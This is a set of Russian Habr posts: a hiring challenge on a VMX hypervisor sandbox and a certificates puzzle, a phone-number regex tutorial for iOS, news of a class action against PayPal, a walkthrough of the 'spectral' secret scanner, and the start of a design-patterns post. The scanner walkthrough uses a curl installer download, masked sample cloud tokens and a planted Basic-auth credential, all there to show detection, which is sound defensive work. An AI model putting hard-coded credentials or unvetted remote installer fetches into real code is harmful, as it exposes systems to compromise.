*Замечание: не обязательно выполнять все задания. Пожалуйста, выполните те задания, которые сможете.*
1. Сделайте так, чтобы при деинициализации модуля на всех процессорах в системе вызывалась инструкция VMXOFF.
2. Можно написать гостевой код, который никогда не завершится. Sandbox так и зависнет в контексте ядра. Сделайте возможность досрочного завершения такого зависшего кода. Подойдет любой способ, позволяющий завершить sandbox раньше по таймауту.
3. Ограничение #1 мешает писать функциональный код для исполнения в sandbox. Сделайте так, чтобы по адресу 8192 была доступна память для глобальных данных. Напишите гостевой код, который будет демонстрировать использование этой памяти. Для лучшей демонстрации результирующее состояние регистров должно формироваться на основе вычислений с использованием глобальных переменных.
4. Чтобы гостевой код мог получать данные из внешнего мира, реализуйте обработку гипер-вызовов. Напишите код, демонстрирующий получение значения от гипервизора и выполнение вычислений с использованием этого значения.
5. Sand\_vm\_launch выполняет не все требования System V x86\_64 ABI, дополните функцию так, чтобы сохранялись и восстанавливались все callee-saved ресурсы.
6. Sand не использует EPT (второй уровень трансляции адресов). В результате код, исполняемый в sandbox, не может управлять трансляцией адресов самостоятельно. К тому же гость не может использовать физическую память выше 4 гигабайт. Сделайте простое отображение гостевой физической памяти в хостовую через EPT, измените гостевые таблицы трансляции, чтобы отобразить гостевые виртуальные адреса на гостевые физические один-к-одному.
7. Если в госте исполнить INT3 (инструкция 0xCC), то получится Triple Fault. Реализуйте возможность обработки простейших исключений в sandbox. Пусть в момент, когда приходит гостевое исключение, хост получает уведомление через гипервызов.
Дополнительные вопросы
* Какие проблемы с организацией кода вы можете заметить? Попробуйте исправить код на свой вкус.
* Есть ли в коде ошибки? Как их исправить?
* При сборке модуля objtool ругается на странную работу со стеком в функции sand\_vm\_launch. Попробуйте при помощи аннотаций в коде объяснить objtool, что происходит.
Задача про справки
Гражданин обращается за справками с0, c1, c2, ..., cN в различные конторы k0, k1, k2, ..., km.
Начальный набор справок, которые гражданин имеет на руках, может быть непустым. Целевых справок, которые требуется получить гражданину, может быть несколько. После подачи справки c1 в контору k1 она переходит в состояние 2, где может выдавать справку c2.
Для получения справок гражданин подает заявление в контору. Заявление на получение справки может быть подано, если выполнены условия конторы (набор справок, которые надо подать в контору для получения следующей справки). Если какая-либо из целевых справок не получена, и при этом возможностей для подачи заявлений нет, это означает, что гражданин не достиг своей цели. Пример описания правил работы контор:
```
k1[0] (с1, с2, с3) -> k1[1] (c0)
k2[0] () -> k2[1] (с1)
k2[0] () -> k2[0] (с4)
k3[0] () -> k3[1] (с2)
k3[1] (с1) -> k3[2] (c3)
k4[0] (с4) -> k4[1] (c1)
```
$(document).ready(function(){ hljs.initHighlightingOnLoad(); }); .t264 .hljs { background-color: ; } Требуется
1. Определить, что целевые справки в принципе можно получить при заданных правилах работы контор.
2. Составить алгоритм получения целевых справок, гарантирующий, если это возможно, получение всего целевого набора справок.
3. Составить такой алгоритм получения целевых справок, чтобы количество обращений гражданина в конторы было бы минимальным.
Дополнительные условия
Получение справок может занимать время и стоить денег. 4. Предложите алгоритм, позволяющий минимизировать время, затрачиваемое на получение целевого набора справок.
5. Предложите алгоритм, позволяющий минимизировать стоимость получения целевого набора справок.
Пусть каждая справка имеет срок действия, а конторе для выдачи справки требуется время.
Таким образом, может случиться ситуация, при которой срок действия какой-либо имеющейся на руках справки истечет, при этом другие справки из целевого набора еще не будут выданы.
6. Требуется определить, что при заданных правилах работы контор с учетом сроков действия справок и сроков подготовки справок может быть получен целевой набор справок так, что ни для одной из них срок действия еще не истек.
id11 = 'rec188728374';
id12 = 'rec188741524';
id21 = 'rec188746162';
id22 = 'rec188748372';
function Task(firstId, lastId) {
this.firstId = firstId,
this.lastId = lastId;
this.isVisible = true,
this.blocksId = []
}
let firstTask = new Task(id11, id12);
let secondTask = new Task(id21, id22);
document.querySelector('#' + firstTask.firstId + ' [data-customstyle="yes"]').addEventListener('click', clickHandler);
document.querySelector('#' + secondTask.firstId + ' [data-customstyle="yes"]').addEventListener('click', clickHandler);
function addIdToArray(array, element) {
array.push(element);
}
function makeArrayOfId(object) {
let currentID = object.firstId;
while (document.getElementById(currentID).id !== object.lastId) {
console.log(currentID);
currentID = document.getElementById(currentID).nextSibling.id;
addIdToArray(object.blocksId, currentID);
}
}
function toggleTaskVisibility(object) {
if (object.isVisible) {
hideTask(object);
} else {
showTask(object);
}
}
function hideTask (object) {
for (let i = 0; i < object.blocksId.length; i++) {
document.getElementById(object.blocksId[i]).style.display = 'none';
}
object.isVisible = false;
}
function showTask(object) {
for (let i = 0; i < object.blocksId.length; i++) {
document.getElementById(object.blocksId[i]).style.display = 'block';
}
object.isVisible = true;
}
function clickHandler(eventObject) {
parentNodeId = eventObject.target.parentNode.parentNode.parentNode.parentNode.parentNode.id;
if (parentNodeId === firstTask.firstId) {
toggleTaskVisibility(firstTask);
} else {
toggleTaskVisibility(secondTask);
}
}
makeArrayOfId(firstTask);
makeArrayOfId(secondTask);
toggleTaskVisibility(firstTask);
toggleTaskVisibility(secondTask);
#rec188728374 div div div div div, #rec188746162 div div div div div {
border-bottom: 1px dashed #65A3BE;
transition: all 0.5s ease;
font-size: 18px;line-height:28px;color:#000000;
display: inline-block;
}
#rec188728374 div div div div div:hover, #rec188746162 div div div div div:hover {
border-bottom: 1px dashed #FFFFFF;
cursor: pointer;
transition: border-bottom 0.3s ease;
}
.t-btn .t430\_\_btn-img {
padding-left: 15px;
}
.t430\_\_btn-text {
padding-right: 25px;
}
@media (max-width:800px) {
#rec188728374 div div div div div:hover, #rec188746162 div div div div div:hover {
border-bottom: 1px dashed #65A3BE;
}
}
.t525\_\_bgimg {
margin: 0;
}
.t525 .t-cell, .t525\_\_title.t-name.t-name\_xs {
text-align: left;
}
//Модифицируем блок с цитатой
var quote\_t525 = document.getElementsByClassName('t525');
var t525\_col = document.getElementsByClassName('t525\_\_col t-col t-col\_6')
for (var i = 0; i < quote\_t525.length; i++) {
for (var j = 0; j < quote\_t525[i].getElementsByClassName('t525\_\_col t-col t-col\_6').length; j++) {
quote\_t525[i].getElementsByClassName('t525\_\_col t-col t-col\_6')[j].classList = 't-col t-col\_8 t-prefix\_2';
}
}
[Скачать задачи](https://drive.google.com/open?id=1A9HkgtunvzKztSkK0mNR9neHNYuYGzaM) Отправить решения Спасибо! Данные успешно отправлены. \* — обязательные поля Задача про системное программирование Задача про справки Ваш email \* Отправить #rec191083921 input::-webkit-input-placeholder {color:#000000; opacity: 0.5;} #rec191083921 input::-moz-placeholder {color:#000000; opacity: 0.5;} #rec191083921 input:-moz-placeholder {color:#000000; opacity: 0.5;} #rec191083921 input:-ms-input-placeholder {color:#000000; opacity: 0.5;} #rec191083921 textarea::-webkit-input-placeholder {color:#000000; opacity: 0.5;} #rec191083921 textarea::-moz-placeholder {color:#000000; opacity: 0.5;} #rec191083921 textarea:-moz-placeholder {color:#000000; opacity: 0.5;} #rec191083921 textarea:-ms-input-placeholder {color:#000000; opacity: 0.5;} #rec191083921 .t-submit:hover{ background-color: #4986a1 !important; } #rec191083921 .t-submit{ -webkit-transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out; transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out; } Я не решил задачу, но хочу к вам в команду Спасибо! Данные успешно отправлены. \* — обязательные поля Коротко о моем опыте работы \* Ваш email \* Отправить #rec193272424 input::-webkit-input-placeholder {color:#000000; opacity: 0.5;} #rec193272424 input::-moz-placeholder {color:#000000; opacity: 0.5;} #rec193272424 input:-moz-placeholder {color:#000000; opacity: 0.5;} #rec193272424 input:-ms-input-placeholder {color:#000000; opacity: 0.5;} #rec193272424 textarea::-webkit-input-placeholder {color:#000000; opacity: 0.5;} #rec193272424 textarea::-moz-placeholder {color:#000000; opacity: 0.5;} #rec193272424 textarea:-moz-placeholder {color:#000000; opacity: 0.5;} #rec193272424 textarea:-ms-input-placeholder {color:#000000; opacity: 0.5;} #rec193272424 .t-submit:hover{ background-color: #4986a1 !important; } #rec193272424 .t-submit{ -webkit-transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out; transition: background-color 0.2s ease-in-out, color 0.2s ease-in-out, border-color 0.2s ease-in-out, box-shadow 0.2s ease-in-out; }
#rec191083921 label {
}
document.getElementById('rec191083921').getElementsByTagName('label')[0].classList.add('t-input-title', 't-descr', 't-descr\_md');
В посте использованы фотографии Евгения Касперского | https://habr.com/ru/post/499746/ | null | ru | null |
# MSLibrary. Захват и верификация телефонных номеров с помощью регулярных выражений, для iOS и не только… Часть 2
В [первой части статьи](https://habrahabr.ru/post/278345/) разработчики библиотеки [MSLibrary](https://habrahabr.ru/users/mslibrary/) for iOS рассказали об особенностях структуры телефонных номеров с точки зрения международных стандартов, опубликованных в документе [RFC 3966](https://tools.ietf.org/html/rfc3986) , рассмотрели Международную структуру телефонных номеров, корпоративные WEB стандарты набора телефонного номера, их взаимодействие между собой и то, как ведут себя пользователи.
Как уже было сказано, захват и верификация это — разные задачи, но решаются они схожими методами, различающимися в основном применяемыми в них регулярными выражениями. *Во второй части статьи речь пойдет собственно о регулярных выражениях.*
**Верификация телефонных номеров**
Возможно несколько подходов к постановке задачи верификации или валидации строки телефонного номера.
1. выбрать один наиболее простой вариант написания валидного номера и сконструировать для него регулярное выражение
2. рассмотреть максимально большое множество валидных написаний телефонных номеров и сконструировать регулярное выражение под них
Оба подхода имеют право на существование, но каждый из них влечет за собой определенные последствия.
В первом случае либо пользователю придется вводить номер в том виде, в каком производится верификация, что часто приводит к ошибкам и, как следствие, к негативному отношению к приложению. Либо от разработчика потребуется создавать шаблон для ввода данных или дополнительный код, приводящий введенные данные к выбранному валидному виду.
Во втором случае можно обойтись без шаблона и дополнительного кода, ограничившись небольшой инструкцией типа «вводите телефонный номер без пробелов».
Рассмотрим оба варианта, но сначала общие соображения.
Валидация строки телефонного номера, чтобы он был адекватно обработан iOS, сводится к нескольким условиям:
1. общая структура номера должна соответствовать документу [RFC 3966](https://tools.ietf.org/html/rfc3986)
```
telephone-uri = global-number-digits [extension]
```
**рис. 1**
2. телефонный номер должен всегда начинаться и заканчиваться с цифры
3. структура global-number-digits должна соответствовать документу RFC 3966 с учетом п.2 *( [см. первую часть статьи](https://habrahabr.ru/post/278345/) )*
```
global-number-digits = "+" * DIGIT *phonedigit DIGIT
```
4. количество цифровых знаков в global-number-digits должно находиться в диапазоне 11-13 цифр (это условие следует из Международной структуры телефонных номеров)
5. структура необязательного элемента — добавочного номера [extension] должна отличаться от предложенной в документе RFC 3966
```
extension = (";" | *",") 1*(DIGIT *phonedigit DIGIT)
```
Подставив соответствующие значения в схему, изображенную на рис.1, получим более подробную структуру телефонного номера валидного для iOS:
```
telephone-uri = "+" DIGIT (9-11)*phonedigit DIGIT [(";" | *",") DIGIT *phonedigit DIGIT]
```
**рис. 2**
И только теперь, убедившись, в том, что полученная структура (рис. 2) удовлетворяет поставленной задаче и международным соглашениям, можно приступать к конструированию регулярных выражений.
Для наглядности начнем с регулярных выражений для каждой из частей структуры, изображенной на рис. 2.
DIGIT
```
REGEX [0-9]
REGEX_OBJC_STRING @"\\d"
```
phonedigit
```
REGEX [0-9]|[-\.\(\)]
REGEX_OBJC_STRING @"\\d|[-\\.\\(\\)]"
```
Приступим к конструированию регулярного выражения для первого варианта. Выберем одно, самое простое, написание валидного для iOS систем телефонного номера, например
```
+14089961010;1234
```
Регулярное выражение, описывающее структуру этого телефонного номера, выглядит следующим образом:
```
REGEX ^((?:\+?[0-9]{11,13})(?:(;|,+)[0-9]+)?)$
```
Разберем это выражение:
```
^( # начало строки
(?: # начало блока global-number-digits
\+? # знак "+" (возможно использование не более одного раза)
[0-9] # сегмент DIGIT блока global-number-digits
{11,13} # указатель на то, что сегмент DIGIT возможен от 11 до 13 раз
) # окончание блока global-number-digits
(?: # начало блока extension
(;|,+) # сепаратор, указывающие на начало добавочного номера
[0-9]+ # сегмент DIGIT блока extension
)? # окончание блока extension
)$ # окончание строки
```
Итак, для первого, из рассматриваемых вариантов, следующее регулярное выражение можно использовать для валидации телефонного номера перед его использованием в коде iOS приложения:
>
> ```
> REGEX_OBJC_STRING @"^((?:\\+?\\d{11,13})(?:(;|,+)\\d+)?)$"
> ```
>
Для второго варианта, валидного для iOS систем, телефонного номера, полностью удовлетворяющего структуре, изображенной на рис. 2, регулярное выражение, выглядит следующим образом:
```
REGEX ^((?:\+?[0-9]([-.\(\)]?[0-9]){10,12})(?:(;|,+)([0-9]([-.\(\)]?[0-9])?)+)?)$
```
Разберем это выражение:
```
^( # начало строки
(?: # начало блока global-number-digits
\+? # знак "+" (возможно использование не более одного раза)
[0-9] # первый сегмент DIGIT блока global-number-digits
( # начало сегмента phonedigit блока global-number-digits
[-.\(\)]? # визуальный сепаратор (возможно использование не более одного раза в данном сегменте)
[0-9] # второй сегмент DIGIT блока global-number-digits
) # окончание сегмента phonedigit блока global-number-digits
{10,12} # указатель на то, что сегмент phonedigit возможен от 10 до 12 раз
) # окончание блока global-number-digits
(?: # начало блока extension
(;|,+) # сепаратор, указывающие на начало добавочного номера
( # начало цифровой части блока extension
[0-9] # первый сегмент DIGIT блока extension
( # начало сегмента phonedigit блока extension
[-.\(\)]? # визуальный сепаратор (возможно использование не более одного раза в данном сегменте)
[0-9] # второй сегмент DIGIT блока extension
)? # окончание сегмента phonedigit блока extension
)+ # окончание цифровой части блока extension
)? # окончание блока extension
)$ # окончание строки
```
Итак, для второго, из рассматриваемых вариантов следующее регулярное выражение можно использовать для валидации телефонного номера перед его использованием в коде iOS приложения:
>
> ```
> REGEX_OBJC_STRING @"^((?:\\+?\\d([-.\\(\\)]?\\d){10,12})(?:(;|,+)(\\d([-.\\(\\)]?\\d)?)+)?)$"
> ```
>
**Захват телефонных номеров**
Захват — это определение того, что трестируемый набор цифр и знаков может быть телефонным номером. При конструировании регулярного выражения для захвата телефонного номера следует учитывать, что в анализируемой строке:
1. должны содержаться все элементы, необходимые для успешной верификации телефонного номера в необходимой последовательности
2. могут содержаться инородные элементы
3. валидные сепараторы могут быть подменены на невалидными
На втором и третьем пунктах следует остановиться подробнее. Попробуем разобраться в весьма расплывчатых понятиях «инородные» и «невалидные» элементы.
В качестве визуальных сепараторов, кроме рассмотренных выше, при ручном наборе часто используют пробел (whitespace). Пробел может быть использован и как невалидный сепаратор и как инородный элемент, в случае, если он стоит перед или после сепаратора.
Для, обозначения начала добавочного номера, могут быть использованы следующие невалидные сепараторы:
```
"x" | "ext" | ":" | "p" | "="
```
С учетом вышесказанного, регулярное выражение для phonedigit и сепаратора, обозначающего начало добавочного номера, примут следующий вид:
phonedigit
```
REGEX [0-9]|(\s?[-\.\(\)\s]\s?)
REGEX_OBJC_STRING @"[0-9]|(\\s?[-\\.\\(\\)\\s]\\s?)"
```
сепаратор добавочного номера
```
REGEX (x|ext|p|;|=|,+)
REGEX_OBJC_STRING @"(x|ext|p|;|=|,+)"
```
Регулярное выражение, удовлетворяющее поставленным условиям, выглядит следующим образом:
```
REGEX ^(\s?(?:(\+?\s?[0-9]((\s?[-\.\(\)\s]\s?)?[0-9]){10,12}))(?:((x|ext|p|;|=|,+)(\s?[0-9]((\s?[-\.\(\)\s]\s?)?[0-9])?)+)?)$
```
Разберем это выражение:
```
^( # начало строки
\s? # пробел, допустимый в начале строки
(?:( # начало блока global-number-digits
\+? # знак "+" (возможно использование не более одного раза)
\s? # пробел, допустимый после знака "+"
[0-9] # первый сегмент DIGIT блока global-number-digits
( # начало сегмента phonedigit блока global-number-digits
(\s?[-\.\(\)\s]\s?)? # визуальный сепаратор (возможно использование не более одного раза в данном сегменте)
[0-9] # второй сегмент DIGIT блока global-number-digits
) # окончание сегмента phonedigit блока global-number-digits
{10,12} # указатель на то, что сегмент phonedigit возможен от 10 до 12 раз
)) # окончание блока global-number-digits
(?:( # начало блока extension
(x|ext|p|;|=|,+) # сепаратор, указывающие на начало добавочного номера
( # начало цифровой части блока extension
\s? # пробел, допустимый в начале цифровой части блока extension
[0-9] # первый сегмент DIGIT блока extension
( # начало сегмента phonedigit блока extension
(\s?[-\.\(\)\s]\s?)? # визуальный сепаратор (возможно использование не более одного раза в данном сегменте)
[0-9] # второй сегмент DIGIT блока extension
)? # окончание сегмента phonedigit блока extension
)+ # окончание цифровой части блока extension
)? # окончание блока extension
)$ # окончание строки
```
Итак, для захвата телефонного номера, удовлетворяющего поставленным условиям, можно использовать следующее регулярное выражение:
>
> ```
> REGEX_OBJC_STRING @"^(\\s?(?:(\\+?\\s?\\d((\\s?[-\\.\\(\\)\s]\\s?)?\\d){10,12}))(?:((x|ext|p|;|=|,+)(\\s?\\d((\\s?[-\\.\\(\\)\\s]\\s?)?\\d)?)+)?)$"
> ```
>
Для того, чтобы использовать захваченный таким образом телефонный номер, необходимо произвести его нормирование, то есть привести строку к валидному для использования в iOS виду. Описание технологии нормирования выходит за рамки тематики данной статьи. Можно сказать только, что в библиотеке MSLibrary for iOS эта задача решается применением одной единственной функции.
**Подведем итоги**
Задача верификации или валидации строки телефонного номера решается с помощью одного из следующих регулярный выражений:
>
> ```
> REGEX_OBJC_STRING @"^((?:\\+?\\d{11,13})(?:(;|,+)\\d+)?)$"
> ```
>
>
>
> ```
> REGEX_OBJC_STRING @"^((?:\\+?\\d([-.\\(\\)]?\\d){10,12})(?:(;|,+)(\\d([-.\\(\\)]?\\d)?)+)?)$"
> ```
>
Задача захвата строки, содержащей телефонный номер, может быть решена с помощью следующего регулярного выражения:
>
> ```
> REGEX_OBJC_STRING @"^(\\s?(?:(\\+?\\s?\\d((\\s?[-\\.\\(\\)\s]\\s?)?\\d){10,12}))(?:((x|ext|p|;|=|,+)(\\s?\\d((\\s?[-\\.\\(\\)\\s]\\s?)?\\d)?)+)?)$"
> ```
>
Использовать полученные регулярные выражения при разработке iOS приложений можно с помощью методов класса [NSRegularExpression](https://developer.apple.com/library/mac/documentation/Foundation/Reference/NSRegularExpression_Class/) .
В библиотеке MSLibrary for iOS для этого также имеются свои инструменты. К примеру, функция msfFRMreqMatchesInString
```
BOOL msfFRMreqMatchesInString(NSString *string, NSString *regularExpression, NSInteger reqNumberOfMatches)
```
**рис. 3**
Эта функция принимает значение YES или NO, зависимости от того, удовлетворяет ли строка «string» регулярному выражению «regularExpression» определенное количество раз — «reqNumberOfMatches». Как видите вопрос решается всего в одну строку кода.
Кроме того в библиотеке имеется несколько десятков тщательно подобранных регулярных выражений «на всякие случаи жизни».
---
Надеемся, что материал был для вас полезен, команда [MSLibrary](https://habrahabr.ru/users/mslibrary/) for iOS
Другие статьи:
[**Захват и верификация телефонных номеров с помощью регулярных выражений, для iOS и не только… Часть 1**](https://habrahabr.ru/post/278345/)
[**Реализация множественного выбора условий с помощью битовых масок, для iOS и не только…**](https://habrahabr.ru/post/279441/)
[**ПРОСТО: удаляем из строки ненужные символы, для iOS и не только…**](https://habrahabr.ru/post/279563/)
[**Создание и компиляция кроссплатформенных (универсальных) библиотек в Xcode**](https://habrahabr.ru/post/280286/) | https://habr.com/ru/post/278359/ | null | ru | null |
# PayPal доигрался с заморозкой аккаунтов без объяснения. Подан групповой иск
Против компании PayPal Holdings, Inc. [подан судебный иск](https://www.bloomberg.com/news/articles/2022-01-13/paypal-sued-for-freezing-customer-accounts-without-explanation) за блокировку аккаунтов пользователей. Трое истцов выдвинули обвинение по следующим статьям:
* незаконное изъятие чужого личного имущества ([conversion](https://en.wikipedia.org/wiki/Conversion_(law)));
* вымогательство и бандитизм ([racketeering](https://en.wikipedia.org/wiki/Racketeering));
* нарушение договора;
* неосновательное обогащение.
К иску могут присоединиться и другие пользователи, чьи аккаунты PayPal были заблокированы в предыдущие годы. Пострадавшие требуют возмещения ущерба, штрафных санкций и компенсаций.
Дело возбуждено по заявлению трёх истцов, из них две жительницы Калифорнии и предприниматель из Чикаго:
* **Лена Эванс** (Lena Evans) пользовалась услугами PayPal в течение 22 лет. У неё заблокировали аккаунт, а через шесть месяцев после блокировки изъяли со счёта $26 984, так и не объяснив причину. Эванс использовала PayPal для покупки и продажи одежды на eBay, обмена денег для покерной лиги, которой она владеет, и для некоммерческой организации, помогающей женщинам с различными потребностями.
* У **Рони Шемтов** (Roni Shemtov) компания конфисковала более $42 000, также не объяснив причину, по которой счёт был закрыт. Когда пострадавшая связалась с компанией, ей дали несколько противоречивых объяснений. Один представитель сказал, что она использовала IP-адрес и компьютер, который использовался другим пользователем. Другой представитель сказал, что она продавала одежду для йоги на 20–30% ниже розничной цены. Ещё один представитель сказал, что она использовала несколько аккаунтов. Рони это отрицает.
* У третьего истца **Шбадана Акылбекова** (Shbadan Akylbekov) ответчик конфисковал более $172 000, тоже сразу не объяснив причину блокировки аккаунта. Акылбеков использовал счёт семейной фирмы для продажи аппаратов Hyaluron Pen, которые представляют собой безыгольные шприцы для инъекций гиалуроновой кислоты в кожу лица, губ и т. д. (изменение внешности в домашних условиях). Только после конфискации средств через 180 дней с момента блокировки PayPal прислала уведомление о нарушении пользовательского соглашения и политики приемлемого использования (AUP). Якобы запрещено «принимать платежи за продажу инъекционных наполнителей, не одобренных FDA». В уведомлении также говорится, что деньги изъяты «в соответствии с пользовательским соглашением для возмещения убытков, возникших в результате нарушения AUP».
PayPal уже давно возмущает многих пользователей тем, что блокирует счета, ограничивает функции ввода-вывода, замораживает средства на шесть месяцев и более. Один из громких случаев произошёл с американским покерным профессионалом Крисом Манимейкером, у которого после шести месяцев ограничения ввода-вывода со счета изъяли $12 000.
Манимейкер уже собрался подавать в суд групповой иск и начал призывать других пострадавших, когда его средства были «таинственным образом возвращены», так что иск потерял юридическую силу.
В новой претензии подчёркивается, что требования «вытекают из широко распространенной деловой практики ответчика по одностороннему изъятию средств с финансовых счетов своих клиентов без причины и без какого-либо справедливого или надлежащего процесса».
В документе говорится, что PayPal «замораживала» средства истцов на их собственных счетах, не проинформировав о причине (причинах) предпринятых действий. PayPal заявила истцам, что им «нужно получить судебный запрос», чтобы узнать простую информацию о том, почему сайт отказывает истцам в доступе к их собственным деньгам. По американскому законодательству такие действия могут квалифицироваться как незаконное вымогательство и бандитизм (racketeering).
20 лет издевательств над пользователями
=======================================
Примерно двадцать лет назад компания PayPal внедрила практику [массовой блокировки аккаунтов без объяснения причин](http://sgolub.ru/vcollege/devyatyi-krug-ada-13-let-spustya-ili-tretego-shansa-ne-budet/). Для разблокировки требуется прислать несколько документов, чтобы подтвердить личность и адрес. Требования к документам настолько строгие, что иногда проще забыть и сделать новый аккаунт. И после блокировки аккаунта довольно трудно вывести свои средства.
Основатель компании PayPal — Максимилиан Левчин, бывший хакер из Одессы, известный в андеграунде под никами Mad Russian и «Сантехник». Как технический директор PayPal именно он разработал первую антифродовую систему [Игорь](https://fee.org/articles/paypals-private-governance), прообраз более продвинутых систем, которые используются до сих пор.
По законодательству PayPal не является «финансовым институтом» и потому на неё не распространяются государственные регулирования, которым подчиняются банки. Это просто коммерческая фирма, которая зарабатывает прибыль всеми доступными способами.
Раньше деньги на счетах пользователей часто замораживались под предлогом нарушения клиентского соглашения, которое не позволяло гражданам СНГ открывать счета в PayPal. Ограничения до сих пор сохранились для граждан Украины и Беларуси. Им разрешено использовать PayPal только для отправки средств.
По [мнению](https://www.technologyreview.com/2016/01/25/163691/how-paypal-boosts-security-with-artificial-intelligence/) некоторых исследователей, главный просчёт PayPal заключается в том, что она воспринимает проблему фрода не как юридическую проблему, а как проблему управления рисками. Антифродовая система самообучается и работает по принципу чёрного ящика.
Таким образом, во многих случаях PayPal вообще не знает, почему заблокирован аккаунт конкретного юзера. Соответственно, служба поддержки не в силах ничего объяснить и ничем не может помочь.
Одна из компаний, пострадавших от PayPal, [писала](https://habr.com/ru/company/vdsina/blog/514694/) на Хабре, что в такой ситуации остаётся только смириться: «Наверное, лучше не хранить значительных сумм на счету и выводить деньги как можно чаще. Судя по всему, массовая блокировка аккаунтов без объяснения причин — это генетическая природа бизнеса PayPal».
**P. S.** С прошлого года PayPal ввёл [плату за неактивность](https://www.paypal.com/be/smarthelp/article/what-is-the-inactivity-fee-faq4427) пользователей.
*Иск Эванс и др. против PayPal Inc. будет рассматриваться в окружном суде Северного округа Калифорнии. Номер дела `5:22-cv-248`.* | https://habr.com/ru/post/645891/ | null | ru | null |
# Как случайно не рассказать секреты всему миру
В целом компания SpectralOps (сейчас принадлежит Check Point) занимается разработкой и развитием инструментов, уменьшающих вероятность публикации чувствительной информации и предлагает целое семейство продуктов для разработчиков:
* [netz](https://github.com/SpectralOps/netz) - обнаружение неудачных конфигураций сервисов и потенциальных уязвимостей в указанной подсети или в облачных провайдерах;
* [teller](https://github.com/SpectralOps/teller) - инструмент для безопасного хранения секретов и исключения их отображения в командной строке, который может работать как прокси к другим хранилищам
* [senv](https://github.com/SpectralOps/senv) - утилита для безопасного отображения переменных окружения без риска показать секреты (например, полезно при трансляции экрана)
* spectral - инструмент, основанный на эвристиках для обнаружения в файлах конфигурации или иных файлах токен доступа к облачным провайдерам или иной чувствительной информации
Мы будем рассматривать последний инструмент, для использования которого нужно зарегистрировать бесплатную учетную запись по [ссылке](https://spectralops.io/app-signup/?fromtopnav=true). Свободная версия сервиса позволяет выполнять до 30 сканирований в день и до 10 репозиториев, что может быть достаточно для небольших компаний. Для выполнения сканирования может использоваться утилита командной строки (может быть установлена через установщик для Linux из готового образа с curl -L https://get.spectralops.io/latest/sh или через homebrew для MacOS, также есть версия для Windows). Ключ может быть получен на странице Settings -> Organization -> Team Key.
Установленное приложение по умолчанию размещается в $HOME/.spectral. Начнем с инициализации проекта:
```
spectral init
```
Для авторизации в облачном сервисе используем следующую команду и данные авторизации, которые были указаны при регистрации:
```
spectral login
Your email: ....
Password: ....
```
Кроме авторизации это действие выполняет привязку к Spectral DSN (его можно найти на странице Settings -> Organization -> DSN) для управления сканированием зарегистрированных репозиториев (на этапе настройки можно подключить github/gitlab-репозитории, которые будут отсканированы при запуске). Отчет о результатах сканирования может выглядеть так:
Пример отчета о возможной утечке секретовСписок обнаруживаемых проблем можно посмотреть в [документации](https://guides.spectralops.io/docs/) проекта. Как можно видеть, spectral обнаруживает потенциальную публикацию данных для доступа к облакам Azure, Google, Amazon, искать возможную утечку секретов в конфигурации Kubernetes, а также обнаруживать потенциальные проблемы конфигурации memcached, MySQL, Kafka, PostgreSQL, Airflow и Redis.cat t
Spectral может использоваться в одном из следующих вариантов:
* [precommit-hook](https://github.com/SpectralOps/spectral-pre-commit) - можно добавить сканирование перед отправкой коммита, чтобы избежать появление чувствительной информации в репозитории;
* [Github Actions](https://github.com/SpectralOps/spectral-github-action) - включение проверки на секреты в github;
* произвольный CI через использование npm-модуля (`npm i -g spectralops)`или консольного инструмента.
Для примера создадим токен для доступа в AWS и сохраним его в текстовом файле:
```
echo "AKIA4HKD3VF23AE*****" > secret.txt
```
Также запишем токен для Github:
```
echo "ghp_K7J3YZ***************" >github.txt
```
И запустим сканирование проекта:
```
spectral scan
```
Результатом будет отчет об обнаруженных проблемах, с указанием файла и позиции секрета в нем:
Отчет об обнаруженных секретахТакже утилита может использоваться при выполнении CI, при ошибке она устанавливает ненулевое значение кода возврата:
Код возврата при наличии обнаруженных секретовТеперь добавим проверку на секреты на precommit hook. Для этого инициализируем git-репозиторий и добавим в него все файлы:
```
git init
git add .
git commit -a -m "Initial commit"
```
Один из примеров использования инструмента [pre-commit](https://pre-commit.com/) приведен в репозитории <https://github.com/SpectralOps/spectral-example-pre-commit>, но мы сделаем классический вариант git hook. Перейдем в каталог .git/hooks и создадим файл pre-commit со следующим содержанием:
```
#!/bin/bash
export SPECTRAL_DSN=spk-....
spectral scan
```
И сделаем файл исполняемым chmod +x .git/hook/pre-commit. Теперь добавим пример сценария с потенциальной утечкой секретов (test.py):
```
import requests
url = "http://api/profile"
r = requests.post(url, headers={'Authorization': 'Basic YWRtaW46YWRtaW4='})
```
Теперь при попытке отправить файл в ветку будет запускаться сканер SpectralOps, который вернут код ошибки и остановит коммит:
Пример отчета с обнаруженным токеном авторизацииИнструмент особенно полезен при использовании инструментов оркестрации, в этом случае он сможет обнаружить не только потенциальные утечки в исходных кодах и токены доступа к Github, но также и найти возможные ошибки в конфигурации развертываний (в том числе для Kubernetes), SSH-ключи (например, для Ansible), секреты для S3 и многое другое, что может быть использовано как потенциальный вектор атаки. В целом использование spectral повышает безопасность развертывания и может быть актуально как в случае публикации Open Source-проектов, так и для внутренних проектов, где необходимо избежать хранения данных авторизации в исходных текстах системы.
Количество модулей Ansible велико и возможности их разнообразны. Но иногда даже этого не хватает. И в этом случае мы можем разработать свой собственный модуль, использовать его в работе и, возможно, даже поделиться им с комьюнити. О том как это сделать, вы можете узнать на бесплатном уроке "Разработка модуля Ansible" от моих коллег из OTUS. Узнать подробнее о курсе "Infrastructure as a code" и зарегистрироваться на бесплатный урок можно по ссылке ниже.
[Узнать подробнее о курсе.](https://otus.pw/S7kZ/) | https://habr.com/ru/post/675468/ | null | ru | null |
# Способ качественно изучить паттерны проектирования
Привет, Хабр! Когда я изучал паттерны проектирования, я делал это с помощью прочтения двух книг: простую и понятную книгу от Head First одновременно со сложной и менее понятной книгой от Банды Четырех. Ниже описан мой опыт того, как именно я это делал, плюс выводы, впечатления и советы
---
> **Дисклеймер**: я не утверждаю, что паттерны проектирования безусловно необходимы, и что если человек не прочитал паттерны Банды Четырех, то он не может называться разработчиком. Я лишь делюсь своим опытом, как изучал паттерны *именно я*. И надеюсь, что кому-то этот опыт окажется полезным
>
>
Итак, для изучения паттернов читал я одновременно следующие книги:
1. Издание Head First - Паттерны проектирования
2. Банда Четырех - Приёмы объектно-ориентированного проектирования. Паттерны проектирования
